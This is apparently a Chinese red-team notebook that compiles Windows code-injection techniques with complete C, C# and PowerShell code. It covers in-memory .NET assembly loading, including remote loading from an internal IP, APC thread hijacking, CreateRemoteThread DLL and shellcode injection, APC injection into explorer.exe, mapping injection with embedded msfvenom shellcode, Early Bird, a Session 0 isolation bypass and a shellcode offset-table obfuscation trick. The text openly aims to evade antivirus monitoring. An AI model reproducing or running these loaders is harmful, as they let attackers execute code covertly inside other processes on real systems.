上面提到的东西和本文没有任何关联(略略略)，.net自身提供了反射加载接口，由于支持内存加载，使用起来会非常方便，不过只能加载.net的程序集，在实战中我们也经常使用这个功能，本篇文章会记录一些System.Reflection命名空间的使用方法。

## 思路

这玩意也没什么思路

1. base64编码一个.net程序集
2. 把base64的程序集解码成一个内存数组
3. 使用System.Reflection.Assembly.Load内存加载
4. assembly.EntryPoint.Invoke调用入口点

## 代码

这里直接贴代码。

### c\#

```
using System;
using System.IO;
using System.Reflection;

namespace MemoryLoadApplication
{

    class Program
    {

        static void Main(string[] args)
        {



            byte[] buffer = File.ReadAllBytes(@"C:\Users\Black Sheep\source\repos\Seatbelt\Seatbelt\bin\Release\Seatbelt.exe");
            string base64str = Convert.ToBase64String(buffer);
            string dir = Directory.GetCurrentDirectory();
            buffer = Convert.FromBase64String(base64str);
            File.WriteAllText($"{dir}\\base64.txt", base64str);
            Assembly assembly = System.Reflection.Assembly.Load(buffer);
            assembly.EntryPoint.Invoke(null, new object[] { args });

        }
    }
}

```

### powershell

```
$base64 = "TVqQAAMAAAAEAAA(前面生成的base64编码的程序集)";
$bins  = [System.Convert]::FromBase64String($base64);
$invoke = [System.Reflection.Assembly]::Load($bins);
[System.Console]::WriteLine($invoke);

$args = New-Object -TypeName System.Collections.ArrayList

[string[]]$strings = "-group=all","-full"

$args.Add($strings)

$invoke.EntryPoint.Invoke($N,$args.ToArray());
```

也可以远程加载

```
$invoke = [System.Reflection.Assembly]::UnsafeLoadFrom("http://192.168.0.125/base");
```

### 实现效果

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MNaPztQDUVqavLNq8az%2F-MNaQ5CN24zs42wiOilP%2Fimage.png?alt=media\&token=b1f329c9-90ba-46c2-8184-47e4629158db)

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MNaPztQDUVqavLNq8az%2F-MNaQJIanvy48tg4qHw1%2Fimage.png?alt=media\&token=69cede6f-aeee-4489-a816-0e45af70017c)


# APC Thread Hijack

## 简介

我也不知道为什么要写这个....这玩意有点像脱裤子放屁....

昨天和某个dalao谈论了一下apc注入，我们经过友好的技术♂交流(迫真)，意识到了三环插入的apc无法确定时间执行，于是有了这个东西。

能弹出窗来就是了。

## 流程

1. 插入apc
2. 挂起线程
3. 修改rip指向NtTestAlert函数
4. 恢复线程

## 代码

```
#include<Windows.h>
#include<stdio.h>

char shellcode[] =
"";

typedef VOID(NTAPI* pNtTestAlert)(VOID);

int main() {
	STARTUPINFOA si = { 0 };
	si.cb = sizeof(si);
	PROCESS_INFORMATION pi = { 0 };
	pNtTestAlert NtTestAlert = (pNtTestAlert)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtTestAlert");
	CreateProcessA(NULL, (LPSTR)"notepad", NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi);
	Sleep(1000);//Wait for thread initialization to complete -> nttestalert is executed
	SuspendThread(pi.hThread);
	LPVOID lpBuffer = VirtualAllocEx(pi.hProcess, NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	WriteProcessMemory(pi.hProcess, lpBuffer, shellcode, sizeof(shellcode), NULL);
	CONTEXT ctx = { 0 };
	QueueUserAPC((PAPCFUNC)lpBuffer, pi.hThread, NULL);
	ctx.ContextFlags = CONTEXT_ALL;
	GetThreadContext(pi.hThread, &ctx);
	ctx.Rip = (DWORD64)NtTestAlert;
	SetThreadContext(pi.hThread, &ctx);
	ResumeThread(pi.hThread);
	CloseHandle(pi.hProcess);
	CloseHandle(pi.hThread);
	//NtTestAlert();
	return 0;
}
```

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MD4QBw8Fw08U1UsUas1%2F-MD4QJFaqyodPeCxG-GS%2Fimage.png?alt=media\&token=99d212dc-d1e6-4a8e-88df-1e4e047ba2b4)


# CreateRemoteThread

经典代码\&dll注入

## 远程线程注入

远程线程注入是指一个进程在另一个进程中创建线程的技术，通常用于注入dll或shellcode，两者执行方式会有一些简单的差异但是原理相同，这是一种简单且稳定的经典注入方式，被很多病毒木马所青睐，此外也存在更新式的注入方式。

## 注入流程

1. 打开被注入进程的句柄
2. 通过句柄向被注入进程申请可写可执行空间
3. 往申请的空间内写入必要数据（dllpath\&shellcode）
4. 通过windows提供的api创建线程

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M3d3WWW2j26P1bXmpV_%2F-M3d3aXTuOyicXG-mfUm%2Fremote.gif?alt=media\&token=9f7bb483-8699-4327-90dc-091ca8d35b79)

## 编程实现

### 0.使用函数原型

```
HANDLE OpenProcess(
  DWORD dwDesiredAccess,
  BOOL  bInheritHandle,
  DWORD dwProcessId
);
```

```
LPVOID VirtualAllocEx(
  HANDLE hProcess,
  LPVOID lpAddress,
  SIZE_T dwSize,
  DWORD  flAllocationType,
  DWORD  flProtect
);
```

```
BOOL WriteProcessMemory(
  HANDLE  hProcess,
  LPVOID  lpBaseAddress,
  LPCVOID lpBuffer,
  SIZE_T  nSize,
  SIZE_T  *lpNumberOfBytesWritten
);
```

```
HANDLE CreateRemoteThread(
  HANDLE                 hProcess,
  LPSECURITY_ATTRIBUTES  lpThreadAttributes,
  SIZE_T                 dwStackSize,
  LPTHREAD_START_ROUTINE lpStartAddress,
  LPVOID                 lpParameter,
  DWORD                  dwCreationFlags,
  LPDWORD                lpThreadId
);
```

### 1.打开被注入进程的句柄

```
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, <pid>);
```

### 2.通过句柄向被注入进程申请可写可执行空间

```
LPVOID lpBaseAddress = VirtualAllocEx(hProcess, 0, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
```

### 3.往申请的空间内写入必要数据（dll\&shellcode）

#### 3.1 shellcode

```
char shellcode[]="XXXXXX";
WriteProcessMemory(hProcess, lpBaseAddress, shellcode, sizeof(shellcode), NULL);
```

#### 3.2 DLL注入

```
char path[]="c:/test/test.dll";
WriteProcessMemory(hProcess, lpBaseAddress, path, sizeof(path), NULL);
```

### 4.通过windows提供的api创建线程

#### 4.1 shellcode

```
CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE)lpBaseAddress, 0, 0, 0);
```

#### 4.2 DLL注入

我们都知道在进程载入DLL的时候会调用DLLMAIN函数,同时由于ASLR(基址随机化)的缘故，在操作系统启动时，DLL的加载地址不尽相同,但由于部分系统DLL要求在系统启动后必须固定，所以我们通过GetProcAddress函数获取操作系统加载DLL的函数。

也就是说,虽然进程不同但是部分系统dll在不同进程中的地址是相同的，那么我们可以通过获取本地进程的相关函数作为远程线程函数的启动参数,并把申请的空间指向加载DLL保存路径的字符串，就可以远程加载DLL。

* 不同进程的kernel32.dll

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M3dFL-VWs9eC1-EWfzh%2F-M3dGvcKbnfpTKrI6gij%2Fimage.png?alt=media\&token=e9cb03b6-648b-495d-a79d-7c00b320ba0e)

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M3dFL-VWs9eC1-EWfzh%2F-M3dHTw_gKbS1Nh5NYEX%2Fimage.png?alt=media\&token=13995053-573e-461a-86ef-ee581c363673)

```
    WriteProcessMemory(hProcess, lpBaseAddress, path, sizeof(path), NULL);
    LPTHREAD_START_ROUTINE pLoadlibrary = (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA");
    CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE)pLoadlibrary, lpBaseAddress, 0, 0);
```

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M3dFL-VWs9eC1-EWfzh%2F-M3dGYzh7s_41hHD3ikm%2Fimage.png?alt=media\&token=c46c2cee-acd1-42b6-9cb3-1bc5b9ebc776)

## 优化与使用

* 根据进程名查找PID

```
#include <Tlhelp32.h>
DWORD GetProcessIdByName(LPCTSTR lpszProcessName)
{
	HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (hSnapshot == INVALID_HANDLE_VALUE)
	{
		return 0;
	}

	PROCESSENTRY32 pe;
	pe.dwSize = sizeof pe;

	if (Process32First(hSnapshot, &pe))
	{
		do {
			if (lstrcmpi(lpszProcessName, pe.szExeFile) == 0)
			{
				CloseHandle(hSnapshot);
				return pe.th32ProcessID;
			}
		} while (Process32Next(hSnapshot, &pe));
	}

	CloseHandle(hSnapshot);
	return 0;
}
```

* 完整代码

```
#include <stdio.h>
#include <Windows.h>
#include <Tlhelp32.h>
DWORD GetProcessIdByName(LPCTSTR lpszProcessName)
{
	HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (hSnapshot == INVALID_HANDLE_VALUE)
	{
		return 0;
	}

	PROCESSENTRY32 pe;
	pe.dwSize = sizeof pe;

	if (Process32First(hSnapshot, &pe))
	{
		do {
			if (lstrcmpi(lpszProcessName, pe.szExeFile) == 0)
			{
				CloseHandle(hSnapshot);
				return pe.th32ProcessID;
			}
		} while (Process32Next(hSnapshot, &pe));
	}

	CloseHandle(hSnapshot);
	return 0;
}
char path[] = "C:\\Users\\Black Sheep\\source\\repos\\CreateRemoteThread\\x64\\Release\\TestDll.dll";

int main()
{
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, GetProcessIdByName((LPCTSTR)"notepad.exe"));
    
    LPVOID lpBaseAddress = VirtualAllocEx(hProcess, 0, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(hProcess, lpBaseAddress, path, sizeof(path), NULL);
    LPTHREAD_START_ROUTINE pLoadlibrary = (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA");
    CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE)pLoadlibrary, lpBaseAddress, 0, 0);
    return 0;
}

```

* github:<https://github.com/idiotc4t/CreateRemoteThread>

## LINKS

{% embed url="<https://www.elastic.co/cn/blog/ten-process-injection-techniques-technical-survey-common-and-trending-process>" %}

{% embed url="<https://docs.microsoft.com/en-us/windows/win32/api/>" %}


# APC Injection

APC注入

## APC简介

> 一个*异步过程调用*（APC）的是，在一个特定的线程的上下文中以异步方式执行的功能。当APC排队到线程中时，系统会发出软件中断。下次调度线程时，它将运行APC功能。系统生成的APC称为*内核模式APC*。由应用程序生成的APC称为*用户模式APC*。线程必须处于可警报状态才能运行用户模式APC。

> 每个线程都有自己的APC队列。应用程序通过调用**QueueUserAPC**函数将APC排队到线程中。调用线程在对**QueueUserAPC**的调用中指定APC函数的地址。APC的排队是对线程调用APC函数的请求。

> 当用户模式APC排队时，除非它处于警报状态，否则不会将其排队的线程定向到调用APC函数。当线程调用**SleepEx**，**SignalObjectAndWait**，**MsgWaitForMultipleObjectsEx**，**WaitForMultipleObjectsEx**或**WaitForSingleObjectEx**函数时，它将进入可警告状态。如果在APC排队之前满足了等待，线程将不再处于可警告的等待状态，因此将不执行APC功能。但是，APC仍在排队，因此当线程调用另一个可警告的等待函数时，将执行APC函数。**ReadFileEx**，**SetWaitableTimer**，**SetWaitableTimerEx**，和**WriteFileEx**功能使用APC作为完成通知回调机制来实现。

简单的说，由于在线程执行过程中，其他线程无法干预当前执行线程(占用cpu)，如果需要干预当前执行线程的操作，就需要有一种让线程自身去调用的机制，windows实现了一种称之为APC的技术，这种技术可以通过插入队列(执行信息)让线程在一定条件下自己去调用，这样就实现了异步操作。

> 线程是不能被“杀掉”、“挂起”、“恢复”的,线程在执行的时候自己占据着CPU,别人怎么可能控制它呢?

> 举个极端的例子:如果不调用API,屏蔽中断,并保证代码不出现异常,线程将永久占用CPU,何谈控制呢?所以说线程如果想“死",一定是自己执行代码把自己杀死,不存在“他杀”这种情况!

> 那如果想改变一个线程的行为该怎么办呢?

> 可以给他提供一个函数,让它自己去调用,这个函数就是APC (Asyncroneus Procedure Call),即异步过程调用。

## 注入流程

1. 从进程名确定PID
2. 从PID确定TID
3. 写入必要代码
4. 插入APC队列

## 代码实现

```
#include<Windows.h>
#include<stdio.h>
#include <Tlhelp32.h>

DWORD GetProcessIdByName(LPCTSTR lpszProcessName)
{
	HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (hSnapshot == INVALID_HANDLE_VALUE)
	{
		return 0;
	}

	PROCESSENTRY32 pe;
	pe.dwSize = sizeof pe;

	if (Process32First(hSnapshot, &pe))
	{
		do {
			if (lstrcmpi(lpszProcessName, pe.szExeFile) == 0)
			{
				CloseHandle(hSnapshot);
				return pe.th32ProcessID;
			}
		} while (Process32Next(hSnapshot, &pe));
	}

	CloseHandle(hSnapshot);
	return 0;
}


BOOL GetAllThreadIdByProcessId(DWORD dwProcessId)
{

	DWORD dwBufferLength = 1000;
	THREADENTRY32 te32 = { 0 };
	HANDLE hSnapshot = NULL;
	BOOL bRet = TRUE;


	// 获取线程快照
	::RtlZeroMemory(&te32, sizeof(te32));
	te32.dwSize = sizeof(te32);
	hSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);

	// 获取第一条线程快照信息
	bRet = ::Thread32First(hSnapshot, &te32);
	while (bRet)
	{
		// 获取进程对应的线程ID
		if (te32.th32OwnerProcessID == dwProcessId)
		{
			return te32.th32ThreadID;
		}

		// 遍历下一个线程快照信息
		bRet = ::Thread32Next(hSnapshot, &te32);
	}
	return 0;
}

int main() {
	FARPROC pLoadLibrary = NULL;
	HANDLE hThread = NULL;
	HANDLE hProcess = 0;
	DWORD Threadid = 0;
	DWORD ProcessId = 0;
	BYTE DllName[] = "C:\\Users\\Black Sheep\\source\\repos\\ApcInject\\x64\\Debug\\TestDll.dll";
	LPVOID AllocAddr = NULL;

	ProcessId = GetProcessIdByName(L"explorer.exe");
	hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, ProcessId);
	pLoadLibrary = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
	AllocAddr = VirtualAllocEx(hProcess, 0, sizeof(DllName) + 1, MEM_COMMIT, PAGE_READWRITE);
	WriteProcessMemory(hProcess, AllocAddr, DllName, sizeof(DllName) + 1, 0);
	Threadid = GetAllThreadIdByProcessId(ProcessId);
	hThread = OpenThread(THREAD_ALL_ACCESS, 0, Threadid);
	QueueUserAPC((PAPCFUNC)pLoadLibrary, hThread, (ULONG_PTR)AllocAddr);
	CloseHandle(hProcess);
	CloseHandle(hThread);
	return 0;

}
```

## LINKS

{% embed url="<https://github.com/idiotc4t/ApcInject>" %}

{% embed url="<https://docs.microsoft.com/en-us/windows/win32/sync/asynchronous-procedure-calls>" %}


# Mapping Injection

Mapping Injection

## [CreateFileMapping->MapViewOfFile](/code-and-dll-process-injection/mapping-injection)简介

映射注入是一种内存注入技术，可以避免使用一些经典注入技术使用的API,如VirtualAllocEx,WriteProcessMemory等被杀毒软件严密监控的API，同时创建Mapping对象本质上属于申请一块物理内存，而申请的物理内存又能比较方便的通过系统函数直接映射到进程的虚拟内存里，这也就避免使用经典写入函数，增加了隐蔽性。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M4HZ6dyAZqGKD465Jlo%2F-M4HZAUJgB9dEgzuRu1B%2Fimage.png?alt=media\&token=be440c81-39da-483b-a001-6102c89d73ed)

## 注入流程

1. 在注入进程创建mapping
2. 将mapping映射到注入进程虚拟地址
3. 往被映射的虚拟地址写入shellcode
4. 打开被注入进程句柄
5. 将mapping映射到被注入进程虚拟地址
6. 创建远程线程

## 代码实现

PS:CreateFileMapping存在多种用法,并非只有这一种。

```
#include <windows.h>
#include <stdio.h>
#pragma comment (lib, "OneCore.lib")


//msfvenom -p windows/x64/messagebox -e x64/xor_dynamic -i 15 EXITFUNC=thread  -f c
unsigned char shellcode[] =
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41\x51"
"\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x3e\x48"
"\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72\x50\x3e\x48"
"\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02"
"\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x3e"
"\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48\x01\xd0\x3e\x8b\x80\x88"
"\x00\x00\x00\x48\x85\xc0\x74\x6f\x48\x01\xd0\x50\x3e\x8b\x48"
"\x18\x3e\x44\x8b\x40\x20\x49\x01\xd0\xe3\x5c\x48\xff\xc9\x3e"
"\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41"
"\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24"
"\x08\x45\x39\xd1\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x3e\x41\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e"
"\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41"
"\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7\xc1"
"\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e\x4c\x8d"
"\x85\x2b\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83\x56\x07\xff"
"\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48"
"\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13"
"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x48\x65\x6c\x6c\x6f"
"\x2c\x20\x66\x72\x6f\x6d\x20\x4d\x53\x46\x21\x00\x4d\x65\x73"
"\x73\x61\x67\x65\x42\x6f\x78\x00";

int main(int argc, char** argv)
{

	

	HANDLE hMapping = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, sizeof(shellcode), NULL);

	LPVOID lpMapAddress = MapViewOfFile(hMapping, FILE_MAP_WRITE, 0, 0, sizeof(shellcode));

	memcpy((PVOID)lpMapAddress, shellcode, sizeof(shellcode));

	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 19752);

	LPVOID lpMapAddressRemote = MapViewOfFile2(hMapping, hProcess, 0, NULL, 0, 0, PAGE_EXECUTE_READ);

	HANDLE hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)lpMapAddressRemote, NULL, 0, NULL);

	UnmapViewOfFile(lpMapAddress);
	CloseHandle(hMapping);
	return 0;
}
```

## 扩展与优化

在前面的章节中说过CreateRemoteThread这样敏感的API也会被杀毒软件重点关注，那么我们同时可以使用别的代码执行方式，比如说APC注入和Early Bird等注入技术，mapping注入技术也可以作为一种非常规的shellcode写入技术使用，我们并不用拘泥与常规的使用方式，也可以与已有技术组合出新的代码执行链。

* 与Early Bird技术组合

```
#include <windows.h>
#include <stdio.h>
#pragma comment (lib, "OneCore.lib")


//msfvenom -p windows/x64/messagebox -e x64/xor_dynamic -i 15 EXITFUNC=thread  -f c
unsigned char shellcode[] =
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41\x51"
"\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x3e\x48"
"\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72\x50\x3e\x48"
"\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02"
"\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x3e"
"\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48\x01\xd0\x3e\x8b\x80\x88"
"\x00\x00\x00\x48\x85\xc0\x74\x6f\x48\x01\xd0\x50\x3e\x8b\x48"
"\x18\x3e\x44\x8b\x40\x20\x49\x01\xd0\xe3\x5c\x48\xff\xc9\x3e"
"\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41"
"\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24"
"\x08\x45\x39\xd1\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x3e\x41\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e"
"\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41"
"\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7\xc1"
"\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e\x4c\x8d"
"\x85\x2b\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83\x56\x07\xff"
"\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48"
"\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13"
"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x48\x65\x6c\x6c\x6f"
"\x2c\x20\x66\x72\x6f\x6d\x20\x4d\x53\x46\x21\x00\x4d\x65\x73"
"\x73\x61\x67\x65\x42\x6f\x78\x00";

	int main() {
		STARTUPINFO si = { 0 };
		PROCESS_INFORMATION pi = { 0 };
		si.cb = sizeof(STARTUPINFO);
		HANDLE hMapping = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, sizeof(shellcode), NULL);

		LPVOID lpMapAddress = MapViewOfFile(hMapping, FILE_MAP_WRITE, 0, 0, sizeof(shellcode));

		memcpy((PVOID)lpMapAddress, shellcode, sizeof(shellcode));

		CreateProcessA("C:\\Program Files\\internet explorer\\iexplore.exe", NULL, NULL, NULL, TRUE, CREATE_SUSPENDED | CREATE_NO_WINDOW, NULL, NULL, (LPSTARTUPINFOA)&si, &pi);

		LPVOID lpMapAddressRemote = MapViewOfFile2(hMapping, pi.hProcess, 0, NULL, 0, 0, PAGE_EXECUTE_READ);

		QueueUserAPC((PAPCFUNC)lpMapAddressRemote, pi.hThread, NULL);
		ResumeThread(pi.hThread);
		CloseHandle(pi.hThread);
		CloseHandle(hMapping);
		UnmapViewOfFile(lpMapAddress);
		return 0;
	}

```

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M4HM_r_xtA9dOvl2VNt%2F-M4HMlxSsZHPfRI3CApe%2Fimage.png?alt=media\&token=1785e002-7a20-48bf-82a3-7800999eb643)

* github:<https://github.com/idiotc4t/Mapping-injection>

## LINKS

{% embed url="<https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-mapviewoffile2>" %}


# Bypass Session 0 Injection

## 简介

在使用传统的进程注入技术的过程中，可以向普通用户用户进程注入shellcode或dll，那么如果我们想更进一步注入到系统进程内，通常会失败，这是由于session 0隔离的缘故，接下来本文会介绍如何突破session 0隔离进行对系统进程的注入。

## ZwCreateThreadEx函数

通过调用CreateRemoteThread创建远程线程在NT内核6.0以前是没有什么问题，但在6.0以后引入了session隔离机制，在创建一个线程时先挂起，然后判断是否运行在所在会话层再决定是否恢复运行。

ZwCreateThreadEx函数比CreateRemoteThread函数更接近内核，CreateRemoteThread最终也是调用ZwCreateThreadEx函数来创建线程的，通过前人的研究发现，通过对CreateRemoteThread逆向研究发现，在内部调用ZwCreateThreadEx会把第七个参数创建标识设置为1，这样会使创建的线程挂起，这也是注入失败的原因。

所以如果想要创建的线程成功执行我们需要将第七个参数指定为0，这样我们就能在创建线程后让他执行。

ZwCreateThreadEx函数原型不同位数莫得区别。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M4MjznZu1qxCGVSeo9s%2F-M4Mk2H0hKpHsuQ1__hL%2Fimage.png?alt=media\&token=537cf2a3-18a1-4762-a9fd-1424467270af)

## 代码实现

该注入技术与经典WriteProcessMemory，CreateRemoteThread注入技术非常相似，只是把创建进程的函数从CreateRemoteThread换成了ZwCreateThreadEx。

```
#include <Windows.h>
#include <stdio.h>

#ifdef _WIN64
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
	PHANDLE ThreadHandle,
	ACCESS_MASK DesiredAccess,
	LPVOID ObjectAttributes,
	HANDLE ProcessHandle,
	LPTHREAD_START_ROUTINE lpStartAddress,
	LPVOID lpParameter,
	ULONG CreateThreadFlags,
	SIZE_T ZeroBits,
	SIZE_T StackSize,
	SIZE_T MaximumStackSize,
	LPVOID pUnkown);
#else
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
	PHANDLE ThreadHandle,
	ACCESS_MASK DesiredAccess,
	LPVOID ObjectAttributes,
	HANDLE ProcessHandle,
	LPTHREAD_START_ROUTINE lpStartAddress,
	LPVOID lpParameter,
	BOOL CreateSuspended,
	DWORD dwStackSize,
	DWORD dw1,
	DWORD dw2,
	LPVOID pUnkown);
#endif

typedef DWORD(WINAPI* typedef_LoadLibraryA)(char* path);
/*
BOOL EnbalePrivileges(HANDLE hProcess, char* pszPrivilegesName)
{
	HANDLE hToken = NULL;
	LUID luidValue = { 0 };
	TOKEN_PRIVILEGES tokenPrivileges = { 0 };
	BOOL bRet = FALSE;

	bRet = OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES, &hToken);

	bRet = LookupPrivilegeValue(NULL, pszPrivilegesName, &luidValue);

	tokenPrivileges.PrivilegeCount = 1;
	tokenPrivileges.Privileges[0].Luid = luidValue;
	tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
	bRet = AdjustTokenPrivileges(hToken, FALSE, &tokenPrivileges, 0, NULL, NULL);


	return TRUE;
}*/

int main(int argc, char* argv[]) {
	//EnbalePrivileges(GetCurrentProcess(), SE_DEBUG_NAME);

	char DllPath[] = "C:\\Users\\Black Sheep\\source\\repos\\sesion0\\x64\\Debug\\TestDll.dll";

	HANDLE hRemoteThread;

	HANDLE hNtModule = GetModuleHandleA("ntdll.dll");

	HANDLE hKeModule = GetModuleHandleA("Kernel32.dll");

	typedef_ZwCreateThreadEx ZwCreateThreadEx = GetProcAddress(hNtModule, "ZwCreateThreadEx");

	typedef_LoadLibraryA myLoadLibraryA = GetProcAddress(hKeModule, "LoadLibraryA");

	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 1516);

	LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, sizeof(DllPath)+1, MEM_COMMIT, PAGE_READWRITE);

	WriteProcessMemory(hProcess, lpBaseAddress, DllPath, sizeof(DllPath), 0);

	ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)myLoadLibraryA, lpBaseAddress, 0, 0, 0, 0, NULL);

	CloseHandle(hRemoteThread);
	CloseHandle(hProcess);
	FreeLibrary(hKeModule);
	FreeLibrary(hNtModule);
	return 0;

}
```

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M4MjEe-KGl_x2hcAUKl%2F-M4MjXoFE1f9CK1zQud4%2Fimage.png?alt=media\&token=8be4e121-29f0-4f7a-9cb5-f9dff18d03b7)

* github:<https://github.com/idiotc4t/sesion0>

## LINKS

《windows黑客编程》

{% embed url="<https://kb.firedaemon.com/support/solutions/articles/4000086228-what-is-session-0-isolation-what-do-i-need-to-know-about-it->" %}


# WhiteFile Offset Table Generate Shellcode

## 简介

这篇文章是我还比较菜的时候(虽然现在也很菜)，当时看到的时候惊为天人，大概说可以通过计算shellcode需要字符在白文件中的偏移位置，通过记录偏移位置，在不硬编码的情况下还原出shellcode，今天突然想起来，就复现一下。

## 流程

1. 寻找一个全windows都包含且不变的文件(C:\Windows\Fonts\wingding.ttf)
2. 遍历文件确认存在全字符(0x00-0xff)
3. 计算shellcode在文件内的偏移表
4. 基于偏移表还原shellcode

## 代码

计算偏移表的代码是用py写的，不是专业写算法的，这个计算可能比较low。

```

dict = open('wingding.ttf','rb+').read();
char =0
for i in range(256):
        for p in range(len(dict)):
                if  ord(chr(dict[p])) == ord(chr(i)):
                        char +=1
                        print(char)
                        break

if char == 256:print("this file has full chars table");
```

